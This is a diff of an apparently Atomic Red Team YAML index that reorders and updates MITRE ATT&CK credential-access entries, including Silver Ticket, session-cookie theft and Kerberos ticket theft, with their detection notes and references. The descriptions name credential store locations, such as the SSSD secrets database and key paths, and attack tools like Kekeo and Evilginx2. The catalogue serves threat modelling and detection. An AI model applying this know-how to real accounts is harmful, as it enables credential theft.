+        description: Flathers, R. (2018, February 19). creddump7. Retrieved April
+          11, 2018.
+        url: https://github.com/Neohapsis/creddump7
       identifier: T1003.002
     atomic_tests:
     - name: Registry dump of SAM, creds, and secrets
@@ -6684,91 +6715,77 @@ credential-access:
           rm $toremove -ErrorAction Ignore
   T1555.002:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1555.002
-        url: https://attack.mitre.org/techniques/T1555/002
-      - url: http://juusosalonen.com/post/30923743427/breaking-into-the-os-x-keychain
-        description: Juuso Salonen. (2012, September 5). Breaking into the OS X keychain.
-          Retrieved July 15, 2017.
-        source_name: OS X Keychain
-      - url: https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/
-        description: Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware
-          is hungry for credentials. Retrieved July 3, 2017.
-        source_name: OSX Keydnap malware
-      - url: http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way
-        description: Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to
-          DA, the OS X Way. Retrieved July 3, 2017.
-        source_name: External to DA, the OS X Way
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Securityd Memory
+      x_mitre_data_sources:
+      - 'Command: Command Execution'
+      - 'Process: Process Access'
+      x_mitre_version: '1.0'
+      modified: '2020-02-17T13:16:53.850Z'
+      created: '2020-02-12T18:56:31.051Z'
+      x_mitre_permissions_required:
+      - root
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--1a80d097-54df-41d8-9d33-34e755ec5e72
       description: |-
         An adversary may obtain root access (allowing them to read securityd’s memory), then they can scan through memory to find the correct sequence of keys in relatively few tries to decrypt the user’s logon keychain. This provides the adversary with all the plaintext passwords for users, WiFi, mail, browsers, certificates, secure notes, etc.(Citation: OS X Keychain) (Citation: OSX Keydnap malware)
 
         In OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple’s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords. (Citation: OS X Keychain) (Citation: External to DA, the OS X Way) Apple’s securityd utility takes the user’s logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user’s password, but once the master key is found, an attacker need only iterate over the other values to unlock the final password.(Citation: OS X Keychain)
-      id: attack-pattern--1a80d097-54df-41d8-9d33-34e755ec5e72
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: credential-access
-      modified: '2020-02-17T13:16:53.850Z'
-      created: '2020-02-12T18:56:31.051Z'
-      x_mitre_data_sources:
-      - 'Command: Command Execution'
-      - 'Process: Process Access'
-      x_mitre_permissions_required:
-      - root
       x_mitre_detection: Monitor processes and command-line arguments for activity
         surrounded users searching for credentials or using automated tools to scan
         memory for passwords.
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - Linux
-      - macOS
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1555/002
+        external_id: T1555.002
+        source_name: mitre-attack
+      - source_name: OS X Keychain
+        description: Juuso Salonen. (2012, September 5). Breaking into the OS X keychain.
+          Retrieved July 15, 2017.
+        url: http://juusosalonen.com/post/30923743427/breaking-into-the-os-x-keychain
+      - source_name: OSX Keydnap malware
+        description: Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware
+          is hungry for credentials. Retrieved July 3, 2017.
+        url: https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/
+      - source_name: External to DA, the OS X Way
+        description: Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to
+          DA, the OS X Way. Retrieved July 3, 2017.
+        url: http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way
     atomic_tests: []
   T1558.002:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1558.002
-        url: https://attack.mitre.org/techniques/T1558/002
-      - source_name: ADSecurity Silver Tickets
-        url: https://adsecurity.org/?p=2011
-        description: Sean Metcalf. (2015, November 17). How Attackers Use Kerberos
-          Silver Tickets to Exploit Systems. Retrieved February 27, 2020.
-      - url: https://adsecurity.org/?p=1515
-        description: Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket
-          (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December
-          23, 2015.
-        source_name: ADSecurity Detecting Forged Tickets
-      - description: French, D. (2018, October 2). Detecting Attempts to Steal Passwords
-          from Memory. Retrieved October 11, 2019.
-        url: https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea
-        source_name: Medium Detecting Attempts to Steal Passwords from Memory
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Silver Ticket
+      x_mitre_data_sources:
+      - 'Logon Session: Logon Session Metadata'
+      x_mitre_version: '1.0'
+      modified: '2020-03-25T21:46:46.831Z'
+      created: '2020-02-11T19:14:48.309Z'
+      x_mitre_permissions_required:
+      - User
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--d273434a-448e-4598-8e14-607f4a0d5e27
       description: |-
         Adversaries who have the password hash of a target service account (e.g. SharePoint, MSSQL) may forge Kerberos ticket granting service (TGS) tickets, also known as silver tickets. Kerberos TGS tickets are also known as service tickets.(Citation: ADSecurity Silver Tickets)
 
         Silver tickets are more limited in scope in than golden tickets in that they only enable adversaries to access a particular resource (e.g. MSSQL) and the system that hosts the resource; however, unlike golden tickets, adversaries with the ability to forge silver tickets are able to create TGS tickets without interacting with the Key Distribution Center (KDC), potentially making detection more difficult.(Citation: ADSecurity Detecting Forged Tickets)
 
         Password hashes for target services may be obtained using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).
-      id: attack-pattern--d273434a-448e-4598-8e14-607f4a0d5e27
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: credential-access
-      modified: '2020-03-25T21:46:46.831Z'
-      created: '2020-02-11T19:14:48.309Z'
-      x_mitre_data_sources:
-      - 'Logon Session: Logon Session Metadata'
-      x_mitre_permissions_required:
-      - User
       x_mitre_detection: "Monitor for anomalous Kerberos activity, such as malformed
         or blank fields in Windows logon/logoff events (Event ID 4624, 4634, 4672).(Citation:
         ADSecurity Detecting Forged Tickets) \n\nMonitor for unexpected processes
@@ -6777,14 +6794,48 @@ credential-access:
         Service (LSASS) process by opening the process, locating the LSA secrets key,
         and decrypting the sections in memory where credential details, including
         Kerberos tickets, are stored."
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1558/002
+        external_id: T1558.002
+        source_name: mitre-attack
+      - url: https://adsecurity.org/?p=2011
+        description: Sean Metcalf. (2015, November 17). How Attackers Use Kerberos
+          Silver Tickets to Exploit Systems. Retrieved February 27, 2020.
+        source_name: ADSecurity Silver Tickets
+      - source_name: ADSecurity Detecting Forged Tickets
+        description: Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket
+          (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December
+          23, 2015.
+        url: https://adsecurity.org/?p=1515
+      - source_name: Medium Detecting Attempts to Steal Passwords from Memory
+        description: French, D. (2018, October 2). Detecting Attempts to Steal Passwords
+          from Memory. Retrieved October 11, 2019.
+        url: https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea
     atomic_tests: []
   T1528:
     technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Steal Application Access Token
+      x_mitre_data_sources:
+      - 'User Account: User Account Modification'
+      x_mitre_version: '1.1'
+      modified: '2021-04-14T17:56:17.311Z'
+      created: '2019-09-04T15:54:25.684Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: credential-access
       id: attack-pattern--890c9858-598c-401d-a4d5-c67ebcdd703a
+      x_mitre_platforms:
+      - SaaS
+      - Office 365
+      - Azure AD
+      - Google Workspace
+      x_mitre_is_subtechnique: false
+      x_mitre_permissions_required:
+      - User
       description: "Adversaries can steal user application access tokens as a means
         of acquiring credentials to access remote systems and resources. This can
         occur through social engineering and typically requires user action to grant
@@ -6814,129 +6865,68 @@ credential-access:
         seen targeting Gmail, Microsoft Outlook, and Yahoo Mail users.(Citation: Amnesty
         OAuth Phishing Attacks, August 2019)(Citation: Trend Micro Pawn Storm OAuth
         2017)"
-      name: Steal Application Access Token
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - url: https://attack.mitre.org/techniques/T1528
-        source_name: mitre-attack
-        external_id: T1528
-      - description: Auth0. (n.d.). Why You Should Always Use Access Tokens to Secure
-          APIs. Retrieved September 12, 2019.
-        url: https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/
-        source_name: Auth0 - Why You Should Always Use Access Tokens to Secure APIs
-          Sept 2019
-      - description: Microsoft. (n.d.). Retrieved September 12, 2019.
-        url: https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-v2-protocols
-        source_name: Microsoft Identity Platform Protocols May 2019
-      - description: Microsoft. (n.d.). Microsoft identity platform and OAuth 2.0
-          authorization code flow. Retrieved September 12, 2019.
-        url: https://docs.microsoft.com/en-us/azure/active-directory/develop/v2-oauth2-auth-code-flow
-        source_name: Microsoft - OAuth Code Authorization flow - June 2019
-      - description: 'Microsoft. (2019, May 8). Quickstart: Register an application
-          with the Microsoft identity platform. Retrieved September 12, 2019.'
-        url: https://docs.microsoft.com/en-us/azure/active-directory/develop/quickstart-register-app
-        source_name: Microsoft - Azure AD App Registration - May 2019
-      - description: Microsoft. (2019, August 29). Microsoft identity platform access
-          tokens. Retrieved September 12, 2019.
-        url: https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens
-        source_name: Microsoft - Azure AD Identity Tokens - Aug 2019
-      - description: Amnesty International. (2019, August 16). Evolving Phishing Attacks
-          Targeting Journalists and Human Rights Defenders from the Middle-East and
-          North Africa. Retrieved October 8, 2019.
-        url: https://www.amnesty.org/en/latest/research/2019/08/evolving-phishing-attacks-targeting-journalists-and-human-rights-defenders-from-the-middle-east-and-north-africa/
-        source_name: Amnesty OAuth Phishing Attacks, August 2019
-      - description: Hacquebord, F.. (2017, April 25). Pawn Storm Abuses Open Authentication
-          in Advanced Social Engineering Attacks. Retrieved October 4, 2019.
-        url: https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks
-        source_name: Trend Micro Pawn Storm OAuth 2017
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: credential-access
-      modified: '2021-04-14T17:56:17.311Z'
-      created: '2019-09-04T15:54:25.684Z'
-      x_mitre_is_subtechnique: false
+      x_mitre_contributors:
+      - Shailesh Tiwary (Indian Army)
+      - Mark Wee
+      - Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)
+      - Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)
       x_mitre_detection: |-
         Administrators should set up monitoring to trigger automatic alerts when policy criteria are met. For example, using a Cloud Access Security Broker (CASB), admins can create a “High severity app permissions” policy that generates alerts if apps request high severity permissions or send permissions requests for too many users.
 
         Security analysts can hunt for malicious apps using the tools available in their CASB, identity provider, or resource provider (depending on platform.) For example, they can filter for apps that are authorized by a small number of users, apps requesting high risk permissions, permissions incongruous with the app’s purpose, or apps with old “Last authorized” fields. A specific app can be investigated using an activity log displaying activities the app has performed, although some activities may be mis-logged as being performed by the user. App stores can be useful resources to further investigate suspicious apps.
 
         Administrators can set up a variety of logs and leverage audit tools to monitor actions that can be conducted as a result of OAuth 2.0 access. For instance, audit reports enable admins to identify privilege escalation actions such as role creations or policy modifications, which could be actions performed after initial access.
-      x_mitre_platforms:
-      - SaaS
-      - Office 365
-      - Azure AD
-      - Google Workspace
-      x_mitre_permissions_required:
-      - User
-      x_mitre_version: '1.1'
-      x_mitre_contributors:
-      - Shailesh Tiwary (Indian Army)
-      - Mark Wee
-      - Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)
-      - Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)
-      x_mitre_data_sources:
-      - 'User Account: User Account Modification'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - source_name: mitre-attack
+        external_id: T1528
+        url: https://attack.mitre.org/techniques/T1528
+      - source_name: Auth0 - Why You Should Always Use Access Tokens to Secure APIs
+          Sept 2019
+        description: Auth0. (n.d.). Why You Should Always Use Access Tokens to Secure
+          APIs. Retrieved September 12, 2019.
+        url: https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/
+      - source_name: Microsoft Identity Platform Protocols May 2019
+        description: Microsoft. (n.d.). Retrieved September 12, 2019.
+        url: https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-v2-protocols
+      - source_name: Microsoft - OAuth Code Authorization flow - June 2019
+        description: Microsoft. (n.d.). Microsoft identity platform and OAuth 2.0
+          authorization code flow. Retrieved September 12, 2019.
+        url: https://docs.microsoft.com/en-us/azure/active-directory/develop/v2-oauth2-auth-code-flow
+      - source_name: Microsoft - Azure AD App Registration - May 2019
+        description: 'Microsoft. (2019, May 8). Quickstart: Register an application
+          with the Microsoft identity platform. Retrieved September 12, 2019.'
+        url: https://docs.microsoft.com/en-us/azure/active-directory/develop/quickstart-register-app
+      - source_name: Microsoft - Azure AD Identity Tokens - Aug 2019
+        description: Microsoft. (2019, August 29). Microsoft identity platform access
+          tokens. Retrieved September 12, 2019.
+        url: https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens
+      - source_name: Amnesty OAuth Phishing Attacks, August 2019
+        description: Amnesty International. (2019, August 16). Evolving Phishing Attacks
+          Targeting Journalists and Human Rights Defenders from the Middle-East and
+          North Africa. Retrieved October 8, 2019.
+        url: https://www.amnesty.org/en/latest/research/2019/08/evolving-phishing-attacks-targeting-journalists-and-human-rights-defenders-from-the-middle-east-and-north-africa/
+      - source_name: Trend Micro Pawn Storm OAuth 2017
+        description: Hacquebord, F.. (2017, April 25). Pawn Storm Abuses Open Authentication
+          in Advanced Social Engineering Attacks. Retrieved October 4, 2019.
+        url: https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks
     atomic_tests: []
   T1539:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1539
-        url: https://attack.mitre.org/techniques/T1539
-      - description: Rehberger, J. (2018, December). Pivot to the Cloud using Pass
-          the Cookie. Retrieved April 5, 2019.
-        url: https://wunderwuzzi23.github.io/blog/passthecookie.html
-        source_name: Pass The Cookie
-      - source_name: Kaspersky TajMahal April 2019
-        url: https://securelist.com/project-tajmahal/90240/
-        description: GReAT. (2019, April 10). Project TajMahal – a sophisticated new
-          APT framework. Retrieved October 14, 2019.
-      - source_name: Unit 42 Mac Crypto Cookies January 2019
-        url: https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/
-        description: Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware
-          Steals Cryptocurrency Exchanges’ Cookies. Retrieved October 14, 2019.
-      - description: Gretzky, Kuba. (2019, April 10). Retrieved October 8, 2019.
-        url: https://github.com/kgretzky/evilginx2
-        source_name: Github evilginx2
-      - source_name: GitHub Mauraena
-        url: https://github.com/muraenateam/muraena
-        description: Orrù, M., Trotta, G.. (2019, September 11). Muraena. Retrieved
-          October 14, 2019.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Steal Web Session Cookie
-      description: |-
-        An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website.
-
-        Cookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols.(Citation: Pass The Cookie)
-
-        There are several examples of malware targeting cookies from web browsers on the local system.(Citation: Kaspersky TajMahal April 2019)(Citation: Unit 42 Mac Crypto Cookies January 2019) There are also open source frameworks such as Evilginx 2 and Muraena that can gather session cookies through a man-in-the-middle proxy that can be set up by an adversary and used in phishing campaigns.(Citation: Github evilginx2)(Citation: GitHub Mauraena)
-
-        After an adversary acquires a valid cookie, they can then perform a [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004) technique to login to the corresponding web application.
-      id: attack-pattern--10ffac09-e42d-4f56-ab20-db94c67d76ff
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: credential-access
-      modified: '2021-04-14T17:57:07.903Z'
-      created: '2019-10-08T20:04:35.508Z'
-      x_mitre_is_subtechnique: false
-      x_mitre_detection: Monitor for attempts to access files and repositories on
-        a local system that are used to store browser session cookies. Monitor for
-        attempts by programs to inject into or dump browser process memory.
+      name: Steal Web Session Cookie
       x_mitre_data_sources:
       - 'File: File Access'
       - 'Process: Process Access'
-      x_mitre_version: '1.1'
-      x_mitre_permissions_required:
-      - User
-      x_mitre_contributors:
-      - Microsoft Threat Intelligence Center (MSTIC)
-      - Johann Rehberger
+      x_mitre_version: '1.2'
+      modified: '2021-07-28T01:26:51.971Z'
+      created: '2019-10-08T20:04:35.508Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: credential-access
+      id: attack-pattern--10ffac09-e42d-4f56-ab20-db94c67d76ff
       x_mitre_platforms:
       - Linux
       - macOS
@@ -6944,76 +6934,154 @@ credential-access:
       - Office 365
       - SaaS
       - Google Workspace
+      x_mitre_is_subtechnique: false
+      x_mitre_permissions_required:
+      - User
+      description: |-
+        An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website.
+
+        Cookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols.(Citation: Pass The Cookie)
+
+        There are several examples of malware targeting cookies from web browsers on the local system.(Citation: Kaspersky TajMahal April 2019)(Citation: Unit 42 Mac Crypto Cookies January 2019) There are also open source frameworks such as Evilginx 2 and Muraena that can gather session cookies through a malicious proxy (ex: [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)) that can be set up by an adversary and used in phishing campaigns.(Citation: Github evilginx2)(Citation: GitHub Mauraena)
+
+        After an adversary acquires a valid cookie, they can then perform a [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004) technique to login to the corresponding web application.
+      x_mitre_contributors:
+      - Microsoft Threat Intelligence Center (MSTIC)
+      - Johann Rehberger
+      x_mitre_detection: Monitor for attempts to access files and repositories on
+        a local system that are used to store browser session cookies. Monitor for
+        attempts by programs to inject into or dump browser process memory.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1539
+        external_id: T1539
+        source_name: mitre-attack
+      - source_name: Pass The Cookie
+        description: Rehberger, J. (2018, December). Pivot to the Cloud using Pass
+          the Cookie. Retrieved April 5, 2019.
+        url: https://wunderwuzzi23.github.io/blog/passthecookie.html
+      - url: https://securelist.com/project-tajmahal/90240/
+        description: GReAT. (2019, April 10). Project TajMahal – a sophisticated new
+          APT framework. Retrieved October 14, 2019.
+        source_name: Kaspersky TajMahal April 2019
+      - url: https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/
+        description: Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware
+          Steals Cryptocurrency Exchanges’ Cookies. Retrieved October 14, 2019.
+        source_name: Unit 42 Mac Crypto Cookies January 2019
+      - source_name: Github evilginx2
+        description: Gretzky, Kuba. (2019, April 10). Retrieved October 8, 2019.
+        url: https://github.com/kgretzky/evilginx2
+      - url: https://github.com/muraenateam/muraena
+        description: Orrù, M., Trotta, G.. (2019, September 11). Muraena. Retrieved
+          October 14, 2019.
+        source_name: GitHub Mauraena
     atomic_tests: []
   T1558:
     technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Steal or Forge Kerberos Tickets
       external_references:
-      - source_name: mitre-attack
+      - url: https://attack.mitre.org/techniques/T1558
         external_id: T1558
-        url: https://attack.mitre.org/techniques/T1558
-      - external_id: CAPEC-652
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/652.html
+        external_id: CAPEC-652
         source_name: capec
-        url: https://capec.mitre.org/data/definitions/652.html
-      - source_name: ADSecurity Kerberos Ring Decoder
-        url: https://adsecurity.org/?p=227
+      - url: https://adsecurity.org/?p=227
         description: Sean Metcalf. (2014, September 12). Kerberos, Active Directory’s
           Secret Decoder Ring. Retrieved February 27, 2020.
-      - url: https://adsecurity.org/?p=1515
+        source_name: ADSecurity Kerberos Ring Decoder
+      - url: https://docs.microsoft.com/windows-server/administration/windows-commands/klist
+        description: Microsoft. (2021, March 3). klist. Retrieved October 14, 2021.
+        source_name: Microsoft Klist
+      - url: https://web.mit.edu/kerberos/krb5-1.12/doc/basic/ccache_def.html
+        description: 'Massachusetts Institute of Technology. (n.d.). MIT Kerberos
+          Documentation: Credential Cache. Retrieved October 4, 2021.'
+        source_name: MIT ccache
+      - url: https://www.fireeye.com/blog/threat-research/2020/04/kerberos-tickets-on-linux-red-teams.html
+        description: Trevor Haskell. (2020, April 1). Kerberos Tickets on Linux Red
+          Teams. Retrieved October 4, 2021.
+        source_name: Linux Kerberos Tickets
+      - url: https://labs.portcullis.co.uk/download/eu-18-Wadhwa-Brown-Where-2-worlds-collide-Bringing-Mimikatz-et-al-to-UNIX.pdf
+        description: Tim Wadhwa-Brown. (2018, November). Where 2 worlds collide Bringing
+          Mimikatz et al to UNIX. Retrieved October 13, 2021.
+        source_name: Brining MimiKatz to Unix
+      - url: https://github.com/gentilkiwi/kekeo
+        description: Benjamin Delpy. (n.d.). Kekeo. Retrieved October 4, 2021.
+        source_name: Kekeo
+      - url: https://posts.specterops.io/when-kirbi-walks-the-bifrost-4c727807744f
+        description: Cody Thomas. (2019, November 14). When Kirbi walks the Bifrost.
+          Retrieved October 6, 2021.
+        source_name: SpectorOps Bifrost Kerberos macOS 2019
+      - url: http://web.mit.edu/macdev/KfM/Common/Documentation/preferences.html
+        description: Massachusetts Institute of Technology. (2007, October 27). Kerberos
+          for Macintosh Preferences Documentation. Retrieved October 6, 2021.
+        source_name: macOS kerberos framework MIT
+      - source_name: ADSecurity Detecting Forged Tickets
         description: Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket
           (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December
           23, 2015.
-        source_name: ADSecurity Detecting Forged Tickets
-      - source_name: Stealthbits Detect PtT 2019
-        url: https://blog.stealthbits.com/detect-pass-the-ticket-attacks
+        url: https://adsecurity.org/?p=1515
+      - url: https://blog.stealthbits.com/detect-pass-the-ticket-attacks
         description: Jeff Warren. (2019, February 19). How to Detect Pass-the-Ticket
           Attacks. Retrieved February 27, 2020.
-      - url: https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf
+        source_name: Stealthbits Detect PtT 2019
+      - source_name: CERT-EU Golden Ticket Protection
         description: Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016,
           April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.
-        source_name: CERT-EU Golden Ticket Protection
-      - source_name: Microsoft Kerberos Golden Ticket
-        url: https://gallery.technet.microsoft.com/scriptcenter/Kerberos-Golden-Ticket-b4814285
+        url: https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf
+      - url: https://gallery.technet.microsoft.com/scriptcenter/Kerberos-Golden-Ticket-b4814285
         description: Microsoft. (2015, March 24). Kerberos Golden Ticket Check (Updated).
           Retrieved February 27, 2020.
-      - url: https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/
+        source_name: Microsoft Kerberos Golden Ticket
+      - source_name: Microsoft Detecting Kerberoasting Feb 2018
         description: Bani, M. (2018, February 23). Detecting Kerberoasting activity
           using Azure Security Center. Retrieved March 23, 2018.
-        source_name: Microsoft Detecting Kerberoasting Feb 2018
-      - url: https://adsecurity.org/?p=2293
+        url: https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/
+      - source_name: AdSecurity Cracking Kerberos Dec 2015
         description: Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets
           Using Kerberoast – Exploiting Kerberos to Compromise the Active Directory
           Domain. Retrieved March 22, 2018.
-        source_name: AdSecurity Cracking Kerberos Dec 2015
-      - description: French, D. (2018, October 2). Detecting Attempts to Steal Passwords
+        url: https://adsecurity.org/?p=2293
+      - source_name: Medium Detecting Attempts to Steal Passwords from Memory
+        description: French, D. (2018, October 2). Detecting Attempts to Steal Passwords
           from Memory. Retrieved October 11, 2019.
         url: https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea
-        source_name: Medium Detecting Attempts to Steal Passwords from Memory
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Steal or Forge Kerberos Tickets
-      description: "Adversaries may attempt to subvert Kerberos authentication by
-        stealing or forging Kerberos tickets to enable [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003).
-        \n\nKerberos is an authentication protocol widely used in modern Windows domain
-        environments. In Kerberos environments, referred to as “realms”, there are
-        three basic participants: client, service, and Key Distribution Center (KDC).(Citation:
-        ADSecurity Kerberos Ring Decoder) Clients request access to a service and
-        through the exchange of Kerberos tickets, originating from KDC, they are granted
-        access after having successfully authenticated. The KDC is responsible for
-        both authentication and ticket granting.  Attackers may attempt to abuse Kerberos
-        by stealing tickets or forging tickets to enable unauthorized access."
-      id: attack-pattern--3fc01293-ef5e-41c6-86ce-61f10706b64a
-      type: attack-pattern
+      x_mitre_data_sources:
+      - 'File: File Access'
+      - 'Command: Command Execution'
+      - 'Active Directory: Active Directory Credential Request'
+      - 'Logon Session: Logon Session Metadata'
+      x_mitre_version: '1.3'
+      modified: '2021-10-14T22:56:22.054Z'
+      x_mitre_system_requirements:
+      - Kerberos authentication enabled
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: credential-access
-      modified: '2020-11-05T16:07:04.189Z'
-      created: '2020-02-11T19:12:46.830Z'
-      x_mitre_system_requirements:
-      - Kerberos authentication enabled
-      x_mitre_data_sources:
-      - 'Active Directory: Active Directory Credential Request'
-      - 'Logon Session: Logon Session Metadata'
+      id: attack-pattern--3fc01293-ef5e-41c6-86ce-61f10706b64a
+      x_mitre_platforms:
+      - Windows
+      - Linux
+      - macOS
+      x_mitre_is_subtechnique: false
+      x_mitre_permissions_required:
+      - User
+      - root
+      description: |
+        Adversaries may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). Kerberos is an authentication protocol widely used in modern Windows domain environments. In Kerberos environments, referred to as “realms”, there are three basic participants: client, service, and Key Distribution Center (KDC).(Citation: ADSecurity Kerberos Ring Decoder) Clients request access to a service and through the exchange of Kerberos tickets, originating from KDC, they are granted access after having successfully authenticated. The KDC is responsible for both authentication and ticket granting.  Attackers may attempt to abuse Kerberos by stealing tickets or forging tickets to enable unauthorized access.
+
+        On Windows, the built-in <code>klist</code> utility can be used to list and analyze cached Kerberos tickets.(Citation: Microsoft Klist)
+
+        Linux systems on Active Directory domains store Kerberos credentials locally in the credential cache file referred to as the "ccache". The credentials are stored in the ccache file while they remain valid and generally while a user's session lasts.(Citation: MIT ccache) On modern Redhat Enterprise Linux systems, and derivative distributions, the System Security Services Daemon (SSSD) handles Kerberos tickets. By default SSSD maintains a copy of the ticket database that can be found in <code>/var/lib/sss/secrets/secrets.ldb</code> as well as the corresponding key located in <code>/var/lib/sss/secrets/.secrets.mkey</code>. Both files require root access to read. If an adversary is able to access the database and key, the credential cache Kerberos blob can be extracted and converted into a usable Kerberos ccache file that adversaries may use for [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). The ccache file may also be converted into a Windows format using tools such as Kekeo.(Citation: Linux Kerberos Tickets)(Citation: Brining MimiKatz to Unix)(Citation: Kekeo)
+
+
